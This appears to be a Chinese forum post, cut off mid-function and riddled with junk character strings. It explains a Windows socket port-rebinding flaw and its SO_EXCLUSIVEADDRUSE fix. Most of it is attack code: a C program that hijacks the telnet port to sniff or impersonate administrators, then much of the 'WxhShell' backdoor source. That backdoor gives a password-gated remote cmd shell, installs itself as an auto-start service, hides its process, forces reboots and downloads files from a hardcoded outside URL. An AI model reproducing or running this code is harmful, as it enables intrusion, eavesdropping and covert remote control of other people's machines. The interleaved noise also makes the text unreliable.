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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: $/XR/ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 99mo]1_ @uzzyp r> saddr.sin_family = AF_INET; ;=oGg%@aP A_}%YHb saddr.sin_addr.s_addr = htonl(INADDR_ANY); JzZ9ua B_uAa5' bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); oHj64fE9 U.0bbr 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 @"$rR+r' Ymr\8CG/ 这意味着什么?意味着可以进行如下的攻击: >x6$F*:W} VQ]MJjvb 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 $ix*xm. 4m DUOSL 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ,`nl";Zc qW(_0<E 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 $KGpcl mzoNXf:x 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 /c9%|<O% 1WbawiG} 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 J"W+9sI0 J`@#yHL 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 R$xk cg2( {V*OYYI`R 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Vo-]&u&cr
4}t&AW4 #include x|oa"l^JZ" #include 2`]_c= #include |0A:0'uA! #include z,#3YC{' DWORD WINAPI ClientThread(LPVOID lpParam); 9e xHR&>{ int main() i@|.1dWh { c-, 6k WORD wVersionRequested; KJLK]lf}d DWORD ret; nM,5KHU4a WSADATA wsaData; [AHZOA BOOL val; TV&4m5 SOCKADDR_IN saddr; {aRZBIv SOCKADDR_IN scaddr; Vy:MK9U2 int err; $xsmF?Dsx5 SOCKET s; dS[="Set SOCKET sc; H@R2mw int caddsize; x w%'R- HANDLE mt; %hqhi@q# DWORD tid; GOeYw[Vh wVersionRequested = MAKEWORD( 2, 2 ); U~Ai'1?xz err = WSAStartup( wVersionRequested, &wsaData ); ^"?b!=n! if ( err != 0 ) { }{(|^s = printf("error!WSAStartup failed!\n"); _Mis-K:]{? return -1; B hnwb0b< } NXyuv7%5= saddr.sin_family = AF_INET; mlmXFEC 1 n86Mp1.e //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 $EuWQq7OI2 {=K u9\ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); v8L&F9
o saddr.sin_port = htons(23); A t#'q>Dn if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) V^^nJs
tV { $CYB&|d printf("error!socket failed!\n"); 8(Y=MW;g return -1; [@_zsz,`L } I;!zZ.\ val = TRUE; jt/
|u= //SO_REUSEADDR选项就是可以实现端口重绑定的 6$JRV if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) `xO&!DN { ]&D;'), printf("error!setsockopt failed!\n"); U.@j!UrZ return -1; yfD)|lK } G2x5% ` //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; N>A*N,+ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 #(`@D7S" //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 bof{R{3q cP~?Iz8nD if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) s: .5S { 1K ;i/ ret=GetLastError(); $*Q_3]AY] printf("error!bind failed!\n"); $K,6!FyBa return -1; ^5l4D3@E } CbA2?( 1o1 listen(s,2); V %cU@ while(1) ]v^;]0vcr { vkXdKL(q caddsize = sizeof(scaddr); >Tm|}\qEb //接受连接请求 zJfoU*G/B sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); t*? CD.S if(sc!=INVALID_SOCKET) 82X}@5o2 { gr/o!NC
mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Bkn-
OG if(mt==NULL) |x AwiF_ { wghz[qe printf("Thread Creat Failed!\n"); h69: Tj! break; \c! LC4pE } F H'jP` } \sIRV}Tk}N CloseHandle(mt); Cz\(.MWNZ } [Q/')5b closesocket(s); U?6YY`A8 WSACleanup(); oK GF Dl]3 return 0; p,=:Ff}~ } U/B1/96lJ DWORD WINAPI ClientThread(LPVOID lpParam) $rySz7NI { %KeQp W SOCKET ss = (SOCKET)lpParam; G~{xTpL SOCKET sc; 1D fB9n unsigned char buf[4096]; $FgpFxz;
SOCKADDR_IN saddr; .bOueB- long num; Cl;B%5yl DWORD val; >a]4} DWORD ret; 1:%m
>4U //如果是隐藏端口应用的话,可以在此处加一些判断 <[^nD>t_ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 yiUJ!m saddr.sin_family = AF_INET; 2O|o%`? saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); FxKb saddr.sin_port = htons(23); DlR&Lnv if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) gz[Ng> D+ { V 'Gi2gNaP printf("error!socket failed!\n"); E (M\U5o: return -1; [H#I:d-+\ } \<VwGbzFi val = 100; ?S8cl7;+ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Y962rZ { j\nnx8`7 ret = GetLastError(); RGGP6SDc return -1; &50Kn[ } #ZIV>(Q\H if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) N1Y*IkW" { G:.Nq,513 ret = GetLastError(); kNW&rg return -1; 3MC| O5R4 } lX`)Avqa if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) u pf7:gk + { {MKq
Yl{ printf("error!socket connect failed!\n"); *g5df[ closesocket(sc);
^sq3@*hCw closesocket(ss); Y#c11q Z return -1; E~zLhJTUL' } IPcAE!h6zN while(1) PZO 7eEt8 { @ -JD`2z //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ~Xnq(}?ok //如果是嗅探内容的话,可以再此处进行内容分析和记录 dCcV$BX,K
//如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 p;) ;Vm+8 num = recv(ss,buf,4096,0); 0x0.[1mB if(num>0) ..7"&-?g{4 send(sc,buf,num,0); 4j)Y> else if(num==0) +*g[hRw[ break; 5.xvOi|. num = recv(sc,buf,4096,0); `4Z#/g if(num>0) DRi!WWivn send(ss,buf,num,0); )F<<M+q= else if(num==0) g?(Z+w4A
3 break; V0L^pDLOV } =[`wyQe`_ closesocket(ss); U;KHF{Vm closesocket(sc); (@M=W.M# return 0 ; [*?P2.b f } @l&5 |Cia 6.~(oepu *ZGQ`#1.X6 ========================================================== mCtuyGY w"-bO ~5h 下边附上一个代码,,WXhSHELL V/|Ln*rm
nP?(9;3* ========================================================== >}<:5gZtA 7%8,*T #include "stdafx.h" XFmnZpqXH AY0o0\6cw #include <stdio.h> n <lU; #include <string.h> )TM ![^d #include <windows.h> \,JRNL& #include <winsock2.h> /Os)4yH\ #include <winsvc.h> kOR%<#:J #include <urlmon.h> h=4m2m xVKx#X9yk #pragma comment (lib, "Ws2_32.lib") >Z|4/PF #pragma comment (lib, "urlmon.lib") )TyL3Z\>( iml*+t #define MAX_USER 100 // 最大客户端连接数 +U+c]Xgt #define BUF_SOCK 200 // sock buffer 'y}A3RqN #define KEY_BUFF 255 // 输入 buffer Y*f7& '[ 1&QI1fvx #define REBOOT 0 // 重启 % 9BC%w]y #define SHUTDOWN 1 // 关机 \I,<G7!0 8.jd'yp*J #define DEF_PORT 5000 // 监听端口 V* fDvr0 pa+^5N #define REG_LEN 16 // 注册表键长度 h+.^8fPR #define SVC_LEN 80 // NT服务名长度 x`%;Q@G H:9(
XW // 从dll定义API DfV_08 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %<DRrKt typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); EE&~D~yHUL typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); FL/y{; typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ko''G5+ QE)g==d // wxhshell配置信息 .1|'9@]lj4 struct WSCFG { ?e]4HHgU] int ws_port; // 监听端口 9S6vU7W char ws_passstr[REG_LEN]; // 口令 Fw"~f5O int ws_autoins; // 安装标记, 1=yes 0=no s/sH", char ws_regname[REG_LEN]; // 注册表键名 q.<q(r char ws_svcname[REG_LEN]; // 服务名 2HQ'iEu$ char ws_svcdisp[SVC_LEN]; // 服务显示名 ~z|/t^ char ws_svcdesc[SVC_LEN]; // 服务描述信息 )zUV6U7v char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^n] tf9{I int ws_downexe; // 下载执行标记, 1=yes 0=no FAE>N-brQ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" "VcGr#zW char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hUA3(!0) C _[jQTr }; ,*S?L
qv^ 3tIIBOwg[ // default Wxhshell configuration 1oX"}YY1 struct WSCFG wscfg={DEF_PORT, z^}T=
$& "xuhuanlingzhe", #|$i H kVY 1, Jz:d\M~j5 "Wxhshell", s977k2pp- "Wxhshell", lrq !}\aX "WxhShell Service", 2U|Nkm "Wrsky Windows CmdShell Service", *GRhZ~U "Please Input Your Password: ", Ju+@ROZ 1, G0]q(.sOy " http://www.wrsky.com/wxhshell.exe", 8%
1hfj "Wxhshell.exe" ~01rc }; ~ xf9
ml HNU[W8mg8 // 消息定义模块 c}v:X
Slh7 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; hH[JY(V char *msg_ws_prompt="\n\r? for help\n\r#>"; LDPo}ogs char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; Nob(bD5SpE char *msg_ws_ext="\n\rExit."; ?m?e2{]u, char *msg_ws_end="\n\rQuit."; _FdWV? char *msg_ws_boot="\n\rReboot..."; }clFaT>m? char *msg_ws_poff="\n\rShutdown..."; 8zVXQ!' char *msg_ws_down="\n\rSave to "; &]vd7Q.t _/E>38G] char *msg_ws_err="\n\rErr!"; N.-Ryj&9 char *msg_ws_ok="\n\rOK!"; *[yCcqN. qKO\;e* char ExeFile[MAX_PATH]; qU2>V int nUser = 0; C7+TnJ HANDLE handles[MAX_USER]; %],.?TS2V int OsIsNt; ' R=o,= &I!2gf SERVICE_STATUS serviceStatus; NoYu"57\ SERVICE_STATUS_HANDLE hServiceStatusHandle; zo\XuoZ ?LNwr[C0 // 函数声明 ?;{A@icr int Install(void); 4F:RLj9P! int Uninstall(void); WUa-hm2: int DownloadFile(char *sURL, SOCKET wsh); Brpin int Boot(int flag); eyAg\uuih void HideProc(void);
|qbJ]v! int GetOsVer(void); k+i}U9c" int Wxhshell(SOCKET wsl); (V=lK6WQm void TalkWithClient(void *cs); O
_1}LS! int CmdShell(SOCKET sock); h gVwoZ{`] int StartFromService(void); !%@n067 int StartWxhshell(LPSTR lpCmdLine); zNXkdw cPS!%?}I VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7B&nV92S VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ip2JzE +pe_s& // 数据结构和表定义 {L4^IKI SERVICE_TABLE_ENTRY DispatchTable[] = xc*ys-Nv { {g
)kT_ {wscfg.ws_svcname, NTServiceMain}, Vq<|DM3z< {NULL, NULL} 0q`'65 lx }; R2~Rqlti BAKfs/N // 自我安装 qx!IlO int Install(void) WHpbQQX { #K)HuT char svExeFile[MAX_PATH]; +[F9Q,bH@b HKEY key; Hpsg[d)! strcpy(svExeFile,ExeFile); ;TW@{re "+XO[WGc // 如果是win9x系统,修改注册表设为自启动 +ubO-A? if(!OsIsNt) { 2G'G45Q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +>:X4A* RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;\&7smE[ RegCloseKey(key); 7rr5$,Mv if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZjI^0D8 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <XLATS8Y RegCloseKey(key); S3oU7*OZ return 0; dG)A-qbV } _`D_0v(X } KM\`,1?x92 } ;hZ(20 else { ~;`i&s BM3)`40[] // 如果是NT以上系统,安装为系统服务 JTs.NY
<z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); fi,=z if (schSCManager!=0) {u5)zVYC,U { 49kY]z|"w SC_HANDLE schService = CreateService yNN2}\[. ( gXfAz, schSCManager, `o*eL Lk wscfg.ws_svcname, 6"=e+V@ wscfg.ws_svcdisp, %
vP{C SERVICE_ALL_ACCESS, Y5n pz^i SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , m[8#h(s*t SERVICE_AUTO_START, bC@b9opD SERVICE_ERROR_NORMAL, |w>DZG!}1- svExeFile, YWdlE7 y NULL, m3|,c[M1 NULL, <QJmdcG NULL, )8N/t6Q NULL, GdP9Uj)n- NULL tr'95'5W. ); i2!{.*. if (schService!=0) :8)4:4$^
{ $jntT(V CloseServiceHandle(schService); ,Y5+UzE@ CloseServiceHandle(schSCManager); ,~kMkBkl~ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 43VuH strcat(svExeFile,wscfg.ws_svcname); }=L
>u>cP if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { uC}YKT>V7 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o1g[(zky RegCloseKey(key); +5HO T{wj return 0; +_ G'FD } U
*I52$ } N4}h_mh^' CloseServiceHandle(schSCManager); AzQ}}A;TSx } SBF3\ } yT,UM^' N CsUC return 1; +,KuYa{lu } +X- k)9 ![V<vIy // 自我卸载 1ii.nt1u int Uninstall(void) UHg^F4>4 { {&4qknPd% HKEY key; $Z,+aLmb mee-Qq:} if(!OsIsNt) { 0-#ct1- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~/.&Z`ls RegDeleteValue(key,wscfg.ws_regname); Y}[r`}={ RegCloseKey(key); Fd91Y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FUOvH85f RegDeleteValue(key,wscfg.ws_regname); fklMYu4:n RegCloseKey(key); [n^___7 return 0; npe*A } WFdS#XfV } \:#b9t{B- } 8<G@s`* else { +pV3.VMH0 nDo|^{!L` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,L^L uw'7 if (schSCManager!=0) QJTC@o { Z*Y?"1ar SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); pp-Ur?PM if (schService!=0) 'nLv0.7* { Gah e-%J if(DeleteService(schService)!=0) { Kfr?sX CloseServiceHandle(schService); N" 8o0> CloseServiceHandle(schSCManager); aL`pvsnF return 0; t3WlVUtq3 } L\B+j+~ CloseServiceHandle(schService); ]x Kmz } YA|*$$ CloseServiceHandle(schSCManager); EHb:(|UA%8 } PNG'"7O } 8[Qw8z5- W%wS+3Q/ return 1; 2sTyuH. } nxJhK
T Vy?w,E0^: // 从指定url下载文件 BkJcT int DownloadFile(char *sURL, SOCKET wsh) '2vlfQ@8a~ { C&SYmYj^c HRESULT hr; HR}c9wy,q\ char seps[]= "/"; AsLAm#zq char *token; |p+VitM7 char *file; 9X(bByEO char myURL[MAX_PATH]; 8e-{S~@W char myFILE[MAX_PATH]; Gmwn: `rcjZ^n strcpy(myURL,sURL); H;CGLis token=strtok(myURL,seps); UFl*^j_)] while(token!=NULL) B%t^QbU #\ { 2#&K3v file=token; (>jME token=strtok(NULL,seps); |#sP1w'l] } Vr^wesT\Hx 2D!'7ZD GetCurrentDirectory(MAX_PATH,myFILE); 5M(?_qj strcat(myFILE, "\\"); FxUH?%w strcat(myFILE, file); SAoqq send(wsh,myFILE,strlen(myFILE),0); Ff,M~zn send(wsh,"...",3,0); BBx"{~ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); s 2$R2, if(hr==S_OK) OO$<Wgh return 0; 4*54"[9Hr# else B|%;(bM2C return 1; qle\c[UM5 @fY!@xSf } wS5hXTb" Soa.thP // 系统电源模块 Wm
A:"!~M int Boot(int flag) x88$#N>Q5 { _3E7|drIX HANDLE hToken; $""[(
d?0 TOKEN_PRIVILEGES tkp; 7!%cKZCY $ey<8qzp if(OsIsNt) { h8h4)>: OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Sb`>IlT\# LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); lDH0bBmd0 tkp.PrivilegeCount = 1; h!Ka\By8# tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ve.4""\a AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +F/ '+ if(flag==REBOOT) { w&H
?; 1 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;?y?s'>t& return 0; REt()$
7~ } +-oXW>`& else { Mz06cw& if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !98s[)B: return 0; ,4\vi| } -ZuzJAA } eL(T else { X23TS` if(flag==REBOOT) { (zhmZm if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2"mO"2d% return 0; /0r2v/0 } RFZrcM else { Q~]R#S if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \Lc
pl-;? return 0; 7Ua
Ll
} & .#0jb1r } a@ lK+t w3& F e=c return 1; c_".+Fa } $$8"i+,K 9LFg": // win9x进程隐藏模块 <1@_MYo void HideProc(void) &
IDF9B { E:i3
/Ep? KctD=6 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^C'k.pV
n~ if ( hKernel != NULL ) 9<Bf5d
{ S`R
( _eD@ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); k_^d7yH ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Z^h4%o-l{ FreeLibrary(hKernel); $zdJ\UX } J>+Dv?Ni$ gy>2=d return; BBp
Hp } 2L,e\]2Z Z|7Y1W[ // 获取操作系统版本 "+rX*~ int GetOsVer(void) Vb1@JC9b { X&McNO6" OSVERSIONINFO winfo; sQ`8L+oY winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); O<+C$J| GetVersionEx(&winfo); c XY!b=9 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) o30PI return 1; wPW9 bu else a.gu return 0; ;[6u79;I } }R
J2\CP GI~;2 `V // 客户端句柄模块 7f`jl/ int Wxhshell(SOCKET wsl) O|OPdD { & XrV[d[> SOCKET wsh; KDY~9?}TM struct sockaddr_in client; P= ]ZXj[ DWORD myID; E-Mp|y /V c\R!z&y~ while(nUser<MAX_USER) 9(H8MUF0{ { H\ NO4= int nSize=sizeof(client); Kj-`ru wsh=accept(wsl,(struct sockaddr *)&client,&nSize); MjLyB^M if(wsh==INVALID_SOCKET) return 1; ?!
kup ` "9Y.KU handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !E*-\}[ if(handles[nUser]==0) (C. 1'<] closesocket(wsh); #cApk else 3FS:]|oC nUser++; ha(hG3C } HFf|
>&c& WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]])i"oew HDC`g return 0; )kd PAw } J"SAA0)@ FS20OD // 关闭 socket %fxGdzu7. void CloseIt(SOCKET wsh) 3kJAaI8 { R!,RZ?|v closesocket(wsh); $x 2t0@ nUser--; S#ven& ExitThread(0); !Hgq7vZG } jsL'O;K/ 5[;^Em)C // 客户端请求句柄 W`;E-28Dg void TalkWithClient(void *cs) u2F
3>s { 7&+Gv6E #ocT4 SOCKET wsh=(SOCKET)cs; pM4 j=F char pwd[SVC_LEN]; 2/h Mx- char cmd[KEY_BUFF]; "cti(0F-d char chr[1]; TX 12$p\ int i,j; n ,H;PB N-5lILuJJ while (nUser < MAX_USER) { ~JBQjb] L6',s4 if(wscfg.ws_passstr) { 1*=[%
d7 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }]f)Fz //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .&L#%C //ZeroMemory(pwd,KEY_BUFF); 0tl i=0; lQ)8zI while(i<SVC_LEN) { K;YK[M1! )~WxNn3rx // 设置超时 8IVKS> fd_set FdRead; 5[I9/4, struct timeval TimeOut; aeg5ij-]u@ FD_ZERO(&FdRead); ; xs?^N| FD_SET(wsh,&FdRead); T$k) ^' TimeOut.tv_sec=8; `!rHH TimeOut.tv_usec=0; 0$P40 7
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); AJq'~fC;I if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,. E:mm :k JSu{p if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V&qXsyg pwd =chr[0]; ?SS?I if(chr[0]==0xd || chr[0]==0xa) { y/Nvts2!C pwd=0; 4cs`R+]o break; ;B
tRDKn } }G-qOt i++; psYfz)1; } vL-%"*>v jd~r~.y // 如果是非法用户,关闭 socket _hXadLt if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \24neD4cM@ } *S;v406 |~'{ [?a* send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \ar.(J send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); koaH31Q ZfMJU while(1) { XD*$$`+#
#p\sw ZeroMemory(cmd,KEY_BUFF); Z\NC+{7k] <m9IZIY< // 自动支持客户端 telnet标准 PN<Y&/fB
j=0; o%CBSm] while(j<KEY_BUFF) { 4(o0I~hpB? if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X8Gw8^t cmd[j]=chr[0]; A4'vJk if(chr[0]==0xa || chr[0]==0xd) { "bC8/^ cmd[j]=0; ?2Bp^3ytJ break; !dmI}<@&k } .w&{2,a3 j++; /eZAAH } cC>.`1: Km-lWreTH // 下载文件 377$c;4F if(strstr(cmd,"http://")) { fFiFc^ send(wsh,msg_ws_down,strlen(msg_ws_down),0); QK//bV) if(DownloadFile(cmd,wsh)) R0{n0Br send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nnx"b 5I}n else TN` pai0 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jtl7t59R } l HZf'P_Wx else { o#E
z_D[ -rU *)0PR switch(cmd[0]) { v%B^\S3) e8P
|eK // 帮助 ~D
5'O^ case '?': { [f^~Z'TIN/ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); b)
.@ xS break; )|\72Z~eq } Lv#DIQ8y // 安装 3\6jzD case 'i': { :0#!= if(Install()) eF:6k qg send(wsh,msg_ws_err,strlen(msg_ws_err),0); G4ZeO:r else :m-HHWMN send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6ffrV break; 1G$kO90 } B*,9{ g0m/ // 卸载 /ptIxe case 'r': { i7*4hYY if(Uninstall()) ^D/*Hp _ send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dh J<\_; else +5 @8't send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <A+Yo3|7 break; @lBR;B" } ~9 K4]5K- // 显示 wxhshell 所在路径 7nfQ=?XNK case 'p': { H@'Y>^z? char svExeFile[MAX_PATH]; M="%NxuS strcpy(svExeFile,"\n\r"); c5^i5de strcat(svExeFile,ExeFile); 4B!]%Mw;c send(wsh,svExeFile,strlen(svExeFile),0); BL,YJM(y break; )%WS(S>8 } Fb[<YX" // 重启 tNfku case 'b': { kXv
-B-wOj send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4z?6[Cg< if(Boot(REBOOT)) 7&OU!gp send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5ahAp]; else { RIb<
7 closesocket(wsh); l$MX\ ExitThread(0); &vd9\Pp } 4*d_2:|u break; >:h
8T]F } +-`Q}~s+ // 关机 W<k) '| case 'd': { kLADd"C send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); j{S\X'?
if(Boot(SHUTDOWN)) Vh4z+JOC send(wsh,msg_ws_err,strlen(msg_ws_err),0); D",ZrwyJ else { J'Gn M?M closesocket(wsh); 3| g'1X} ExitThread(0); n%@xnB$ZX } )T
3y ,* break; lv,8NmP5 } x)nBy)< // 获取shell lOcvRF case 's': { /dBQ*f5 CmdShell(wsh); V#C[I~l closesocket(wsh); i%v^Zg&FU ExitThread(0); R&=Y7MfZ break; 44($a9oa2 } !j(v-pQf" // 退出 7@|(z:uw case 'x': { 6^}GXfJAc send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); e,|"9OK CloseIt(wsh); ^cBA8 1 break; d),@&MSN } =i\~][- // 离开 ?Tt/,Hl?D case 'q': { /V-7 u send(wsh,msg_ws_end,strlen(msg_ws_end),0); Wvmf[!V; closesocket(wsh); 2u/(Q># WSACleanup(); ]={:VsnL exit(1); 4?1Ac7bE break; -9vAY+s. } +2MsyA?6_ } 9e1gjC\ c } ] QtG gWtC HO}aLp // 提示信息 ,HY z-sK. if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $Y)|&, } k7f[aM 5] } ,k+jx53XV _N0x&9S$ return; q$~S?X5\ } Fu!:8Wp!( I)O%D3wfMW // shell模块句柄 )"=BbMfhu int CmdShell(SOCKET sock) r]"
> { (a@cK, STARTUPINFO si; b{(!Ls_ & ZeroMemory(&si,sizeof(si)); boJQ3Xc si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; qS+'#Sn si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; SQW A{f PROCESS_INFORMATION ProcessInfo; :.DCRs$Q char cmdline[]="cmd"; Cf2rRH CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); YtxBkKiJ2V return 0; Z;SRW92@ } UFC.!t-Z : :e=6i // 自身启动模式 V]`V3cy1+3 int StartFromService(void) !V7VM_}@Y { ^7~=+0cF] typedef struct mJ !}!~: { A\.k['! DWORD ExitStatus; <@(HQuL# DWORD PebBaseAddress; Jel%1'Dc^ DWORD AffinityMask; pi3Z)YcT DWORD BasePriority; w~&bpCB! ULONG UniqueProcessId; Kx ?}%@b ULONG InheritedFromUniqueProcessId; ] l}8 } PROCESS_BASIC_INFORMATION; hRtnO|Z6 L'z;*N3D PROCNTQSIP NtQueryInformationProcess; 6EP5n qA
